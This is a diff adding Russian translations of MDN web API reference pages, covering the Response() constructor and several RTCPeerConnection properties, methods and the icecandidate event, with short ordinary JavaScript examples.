+  <li>{{domxref("BufferSource")}}</li>
+  <li>{{domxref("FormData")}}</li>
+  <li>{{domxref("ReadableStream")}}</li>
+  <li>{{domxref("URLSearchParams")}}</li>
+  <li>{{domxref("USVString")}}</li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>An options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value). The possible options are:
+ <ul>
+  <li><code>status</code>: The status code for the reponse, e.g., <code>200</code>.</li>
+  <li><code>statusText</code>: The status message associated with the status code, e.g., <code>OK</code>.</li>
+  <li><code>headers</code>: Any headers you want to add to your response, contained within a {{domxref("Headers")}} object or object literal of {{domxref("ByteString")}} key/value pairs (see <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> for a reference).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-response">Fetch Response example</a> (see <a href="http://mdn.github.io/fetch-examples/fetch-response/">Fetch Response live</a>) we create a new <code>Response</code> object using the constructor, passing it a new {{domxref("Blob")}} as a body, and an init object containing a custom <code>status</code> and <code>statusText</code>:</p>
+
+<pre class="brush: js notranslate">var myBlob = new Blob();
+var init = { "status" : 200 , "statusText" : "SuperSmashingGreat!" };
+var myResponse = new Response(myBlob,init);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-response','Response()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+
+
+<p>{{Compat("api.Response.Response")}}</p>
+
+<h2 id="Читай_также">Читай также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
new file mode 100644
index 0000000000..d1eaadc337
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
@@ -0,0 +1,91 @@
+---
+title: RTCPeerConnection.canTrickleIceCandidates
+slug: Web/API/RTCPeerConnection/canTrickleIceCandidates
+translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<div></div>
+
+<div><span class="seoSummary">Свойство только для чтения <code><strong>canTrickleIceCandidates</strong></code> , объекта <strong>{{domxref("RTCPeerConnection")}}</strong>, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удаленный пир принимать кандидаты, согласно спецификации  <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>.</span></div>
+
+<p><strong>ICE trickling (ICE просачивание)</strong>  - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удаленному пиру..</p>
+
+<p>Свойство инициализируется только после вызова метода  {{domxref("RTCPeerConnection.setRemoteDescription()")}}.  Было бы идеально, если бы ваш протокол сигнализации предоставлял способ определения поддержки просачивания кандидатов, для того, что бы не полагаться на это свойство. Браузер, поддерживающий WebRTC, всегда будет поддерживать ICE просачивание.</p>
+
+<p>Если оно не поддерживается, или о поддержке неизвестно, то проверив ложное значение этого свойства, необходимо подождать, пока значение свойства {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} измениться на  <code>"completed"</code> до создания и передачи первоначального предложения. Таким образом, отправка предложения сдерживается до сборки всех кандидатов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Тип  {{jsxref("Boolean")}} содержит <code>true</code> , если удаленный пир может принимать просачивающие ICE кандидаты, и  <code>false</code> , если не может. Если удаленный пир еще не инициализирован, свойство возвращает <code>null</code>.</p>
+
+<div class="note">
+<p><strong>Примечание :</strong> Значение свойсва инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}};  Возвращаемый объект описания используется агентом ICE для определения возможности удаленного пира поддерживать просачивающихся  ICE кандидатов.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+// Следующий код может быть использован для обработки предложения от пира, когда
+// он не знает поддерживает ли он просачивание
+pc.setRemoteDescription(remoteOffer)
+  .then(_ =&gt; pc.createAnswer())
+  .then(answer =&gt; pc.setLocalDescription(answer))
+  .then(_ =&gt;
+    if (pc.canTrickleIceCandidates) {
+      return pc.localDescription;
+    }
+    return new Promise(r =&gt; {
+      pc.addEventListener('icegatheringstatechange', e =&gt; {
+        if (e.target.iceGatheringState === 'complete') {
+          r(pc.localDescription);
+        }
+      });
+    });
+  })
+  .then(answer =&gt; sendAnswerToPeer(answer)) // сигнальное сообщение
+  .catch(e =&gt; handleError(e));
+
+pc.addEventListener('icecandidate', e =&gt; {
+  if (pc.canTrickleIceCandidates) {
+    sendCandidateToPeer(e.candidate); // сигнальное сообщение
+  }
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-cantrickleicecandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection.addIceCandidate()")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Жизненный цикл сессии WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/connectionstate/index.html b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html
new file mode 100644
index 0000000000..2b17b9b29e
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html
@@ -0,0 +1,62 @@
+---
+title: RTCPeerConnection.connectionState
+slug: Web/API/RTCPeerConnection/connectionState
+translation_of: Web/API/RTCPeerConnection/connectionState
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>Только для чтения свойство  <strong><code>connectionState</code></strong> интерфейса {{domxref("RTCPeerConnection")}} указывает на текущее состояние соединения, возвращая одно из строковых значений, определяемых в перечислении <code><a href="#RTCPeerConnectionState_enum">RTCPeerConnectionState</a></code>.</p>
+
+<p>Когда значение свойство изменяется, возникает событие   {{event("connectionstatechange")}} на объекте интерфейса {{domxref("RTCPeerConnection")}} .</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>connectionState</em> = <em>RTCPeerConnection</em>.connectionState;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Текущий статус соединения представлен одним из значений перечисления  <code><a href="#RTCPeerConnectionState_enum">RTCPeerConnectionState</a></code>.</p>
+
+<p>{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCPeerConnectionState enum", 0, 1)}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection(configuration);
+
+/* ... */
+
+var connectionState = pc.connectionState;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-peerconnection-connection-state', 'RTCPeerConnection.connectionState') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.connectionState")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Жизненный цикл сессии WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li>{{event("connectionstatechange")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html
new file mode 100644
index 0000000000..b0ddb77eb3
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html
@@ -0,0 +1,76 @@
+---
+title: RTCPeerConnection.currentLocalDescription
+slug: Web/API/RTCPeerConnection/currentLocalDescription
+translation_of: Web/API/RTCPeerConnection/currentLocalDescription
+---
+<p>{{WebRTCSidebar}} </p>
+
+<p>Только для чтения свойство  <code><strong>RTCPeerConnection.currentLocalDescription</strong></code> возвращает объект  {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как  самый последний, удачно согласованный объект описания, с момента последнего завершения согласования  {{domxref("RTCPeerConnection")}} и соединения с удаленным пиром (участником соединения) . </p>
+
+<p>Для изменения <code>currentLocalDescription</code>, вызовите метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, который запускает серию событий, приводящих к присвоению значения. Более подробно о том, что точно происходит и почему изменения происходят не сразу, смотрите   {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.</p>
+
+<div class="note">
+<p>В отличие от  {{domxref("RTCPeerConnection.localDescription")}}, это значение представляет актуальный, текущий статус локальной стороны соединения; <code>localDescription</code> может устанавливать описание, на которое соединение находится в процессе перехода.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentLocalDescription;</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Текущий объект описания локальной стороны соединения. Если установка значения не удалась, значением станет <code>null</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере рассматривается свойство <code>currentLocalDescription</code>  и отображается предупреждение, содержащее свойства объекта {{domxref("RTCSessionDescription")}}  <code>type</code> и <code>sdp</code> .</p>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+…
+var sd = pc.currentLocalDescription;
+if (sd) {
+  alert("Локальная сессия: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("Локальной сессии еще нет.");
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-peerconnection-currentlocaldesc', 'RTCPeerConnection.currentLocalDescription') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.currentLocalDescription")}}</p>
+
+<div class="note">
+<p>The addition of <code>currentLocalDescription</code> and {{domxref("RTCPeerConnection.pendingLocalDescription", "pendingLocalDescription")}} to the WebRTC spec is relatively recent. In browsers which don't support them, just use {{domxref("RTCPeerConnection.localDescription", "localDescription")}}.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setLocalDescription()")}}, {{domxref("RTCPeerConnection.pendingLocalDescription")}}, {{domxref("RTCPeerConnection.localDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html
new file mode 100644
index 0000000000..52aa9ccd2c
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html
@@ -0,0 +1,72 @@
+---
+title: RTCPeerConnection.currentRemoteDescription
+slug: Web/API/RTCPeerConnection/currentRemoteDescription
+translation_of: Web/API/RTCPeerConnection/currentRemoteDescription
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code> возвращает объект  {{domxref("RTCSessionDescription")}} , представляющий удаленную сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удаленным пиром. </p>
+
+<p>Для изменения значения свойства <code>currentRemoteDescription</code>, вызовите метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}, который запускает серию событий, приводящих к установке нового значения. Подробнее о том, что точно происходит и почему изменение значения не происходит немедленно, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.</p>
+
+<div class="note">
+<p>В отличии от {{domxref("RTCPeerConnection.remoteDescription")}}, это значение действительный текущий статус соединения; <code>remoteDescription</code> может указывать на объект описания, на который соединение находиться в процессе перехода..</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentRemoteDescription;</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Текущий объект описания, представляющий удаленную сторону соединения, если она присутстует. Если ни один объект описания не установлен, значением будет <code>null</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Пример рассматривает свойство  <code>currentRemoteDescription</code> и отображает предупреждение, содержащее значения свойств  <code>type</code> и <code>sdp</code> ,объекта {{domxref("RTCSessionDescription")}}.</p>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+…
+var sd = pc.currentRemoteDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-peerconnection-currentremotedesc', 'RTCPeerConnection.currentRemoteDescription') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.currentRemoteDescription")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.remoteDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html b/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html
new file mode 100644
index 0000000000..db12029803
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html
@@ -0,0 +1,56 @@
+---
+title: RTCPeerConnection.getDefaultIceServers()
+slug: Web/API/RTCPeerConnection/getDefaultIceServers
+translation_of: Web/API/RTCPeerConnection/getDefaultIceServers
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>Метод <code><strong>getDefaultIceServers()</strong></code> интерфейса {{domxref("RTCPeerConnection")}} , возвращает массив объектов  {{domxref("RTCIceServer")}}, который указывает, какие серверы ICE браузер будет использовать по умолчанию, если они не указаны в параметре {{domxref("RTCConfiguration")}} конструктора {{domxref("RTCPeerConnection")}} </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"> var <em>defaultIceServers</em> = <em>RTCPeerConnection</em>.getDefaultIceServers();</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Массив  ICE серверов, определяемые как объекты класса  {{domxref("RTCIceServer")}} , которые браузер будет использовать для соединения, если иное не определено в параметре -  объекте конфигурации конструктора  {{domxref("RTCPeerConnection")}}. Если в браузере нет значений по умолчанию, массив будет пуст. Значение свойства не может быть  <code>null</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+var iceServers = pc.getDefaultIceServers();
+
+if (iceServers.length === 0) {
+  // Решить проблему отсутствия серверов ICE по умолчанию, возможно, используя наши собственные настройки по умолчанию.</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://w3c.github.io/webrtc-extensions/#dom-rtcpeerconnection-getdefaulticeservers">WebRTC Extensions</a></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.getDefaultIceServers")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCConfiguration")}}</li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html
new file mode 100644
index 0000000000..f74735a97e
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html
@@ -0,0 +1,141 @@
+---
+title: 'RTCPeerConnection: icecandidate event'
+slug: Web/API/RTCPeerConnection/icecandidate_event
+translation_of: Web/API/RTCPeerConnection/icecandidate_event
+---
+<div>{{WebRTCSidebar}}</div>
+
+<p>Событие <strong><code>icecandidate</code></strong> отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удаленному клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удаленный клиент (remote peer) смог добавить его в свой набор удаленных кандидатов (remote candidates).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплывает</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемое</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{DOMxRef("RTCPeerConnectionIceEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Название обработчика событий</th>
+   <td>{{DOMxRef("RTCPeerConnection.onicecandidate")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Существует три причины, по которым событие <code>icecandidate</code> происходит (fired) у {{domxref("RTCPeerConnection")}}.</p>
+
+<h3 id="Делимся_Sharing_новым_кандидатом">Делимся (Sharing) новым кандидатом</h3>
+
+<p>В основном события <code>icecandidate</code> происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кондидата нужно доставить удаленному клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.</p>
+
+<pre class="brush: js notranslate">rtcPeerConnection.onicecandidate = (event) =&gt; {
+  if (event.candidate) {
+    sendCandidateToRemotePeer(event.candidate)
+  } else {
+    /* there are no more candidates coming during this negotiation */
+  }
+}
+</pre>
+
+<p>Удаленный клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).</p>
+
+<h3 id="Indicating_the_end_of_a_generation_of_candidates">Indicating the end of a generation of candidates</h3>
+
+<p>When an ICE negotiation session runs out of candidates to propose for a given {{domxref("RTCIceTransport")}}, it has completed gathering for a <strong>generation</strong> of candidates. That this has occurred is indicated by an <code>icecandidate</code> event whose {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} string is empty (<code>""</code>).</p>
+
+<p>You should deliver this to the remote peer just like any standard candidate, as described under {{anch("Sharing a new candidate")}} above. This ensures that the remote peer is given the end-of-candidates notification as well. As you see in the code in the previous section, every candidate is sent to the other peer, including any that might have an empty candidate string. Only candidates for which the event's {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} property is <code>null</code> are not forwarded across the signaling connection.</p>
+
+<p>The end-of-candidates indication is described in <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice-02#section-9.3">section 9.3 of the Trickle ICE draft specification</a> (note that the section number is subject to change as the specification goes through repeated drafts).</p>
+
+<h3 id="Indicating_that_ICE_gathering_is_complete">Indicating that ICE gathering is complete</h3>
+
+<p>Once all ICE transports have finished gathering candidates and the value of the {{domxref("RTCPeerConnection")}} object's {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} has made the transition to <code>complete</code>, an <code>icecandidate</code> event is sent with the value of <code>complete</code> set to <code>null</code>.</p>
+
+<p>This signal exists for backward compatibility purposes and does <em>not</em> need to be delivered onward to the remote peer (which is why the code snippet above checks to see if <code>event.candidate</code> is <code>null</code> prior to sending the candidate along.</p>
+
+<p>If you need to perform any special actions when there are no further candidates expected, you're much better off watching the ICE gathering state by watching for {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} events:</p>
+
+<pre class="brush: js notranslate">pc.addEventListener("icegatheringstatechange", ev =&gt; {
+  switch(pc.iceGatheringState) {
+    case "new":
+      /* gathering is either just starting or has been reset */
+      break;
+    case "gathering":
+      /* gathering has begun or is ongoing */
+      break;
+    case "complete":
+      /* gathering has ended */
+      break;
+  }
+});
+</pre>
+
+<p>As you can see in this example, the <code>icegatheringstatechange</code> event lets you know when the value of the {{domxref("RTCPeerConnection")}} property {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} has been updated. If that value is now <code>complete</code>, you know that ICE gathering has just ended.</p>
+
+<p>This is a more reliable approach than looking at the individual ICE messages for one indicating that the ICE session is finished.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This example creates a simple handler for the <code>icecandidate</code> event that uses a function called <code>sendMessage()</code> to create and send a reply to the remote peer through the signaling server.</p>
+
+<p>First, an example using {{domxref("EventTarget.addEventListener", "addEventListener()")}}:</p>
+
+<pre class="brush: js notranslate">pc.addEventListener("icecandidate", ev =&gt; {
+  if (ev.candidate) {
+    sendMessage({
+      type: "new-ice-candidate",
+      candidate: event.candidate
+    });
+  }
+}, false);
+</pre>
+
+<p>You can also set the {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} event handler property directly:</p>
+
+<pre class="brush: js notranslate">pc.onicecandidate = ev =&gt; {
+  if (ev.candidate) {
+    sendMessage({
+      type: "new-ice-candidate",
+      candidate: event.candidate
+    });
+  }
+};
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#event-icecandidate', 'icecandidate') }}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.icecandidate_event")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..3eae7b0faa
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/index.html
@@ -0,0 +1,358 @@
+---
+title: Интерфейс RTCPeerConnection
+slug: Web/API/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection
+---
+<p>{{APIRef('WebRTC')}}</p>
+
+<p><span class="seoSummary">Интерфейс <strong><code>RTCPeerConnection</code></strong> представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удаленным пиром на удаленном компьютере. Он предоставляет методы для соединения с удаленным участником соединения, обслуживания, мониторинга и закрытия соединения.</span></p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<div>{{InterfaceOverview("WebRTC")}}</div>
+
+<h3 id="Устаревший_метод">Устаревший метод</h3>
+
+<p>Метод ниже, является устаревшим и не будет в дальнейшем реализован в современных браузерах.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt>
+ <dd>Создает новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определенным объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..</dd>
+</dl>
+
+<h2 id="События">События </h2>
+
+<p>Для прослушивания событий используется функция добавления обработчика события {{domxref("EventTarget.addEventListener", "addEventListener()")}} или используется стандартное свойство интерфейса по схеме  <code><em><strong>on</strong>имясобытия</em></code> (префикс <em><strong>on </strong></em>к которому добавляется имя события прописными буквами) для установки обработчика события.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.connectionstatechange_event", "connectionstatechange")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда общий статус объекта сосединения <code>RTCPeerConnection</code> изменился.<br>
+ Так же, доступно через свойство установки обработчика события  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда удаленный пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}}  в текущее соединение.<br>
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда  специальный объект ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>) сгенерирован <code>RTCPeerConnection</code> и готов для передачи удаленному пиру по каналу сигнализации.Сам сгененрированный объект кандидата передается в параметр вызванного обработчика. <br>
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}</dt>
+ <dd>Событие типа ошибки  {{domxref("RTCPeerConnectionIceErrorEvent")}} , возникает на объекте соединения при генерации ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>), если при этом возникла ошибка. Свойства объекта ошибки, возвращаемого в обработчик,  описывают подробности ошибки.<br>
+ Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}</dt>
+ <dd>Событие объекта <code>RTCPeerConnection</code> возникает при изменении статуса ICE соединения. К примеру, <a href="https://developer.mozilla.org/en-US/docs/Glossary/ICE">ICE</a> соединение разорвано.<br>
+ Так же, доступно через свойство установки обработчика события{{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} .</dd>
+ <dt>{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}</dt>
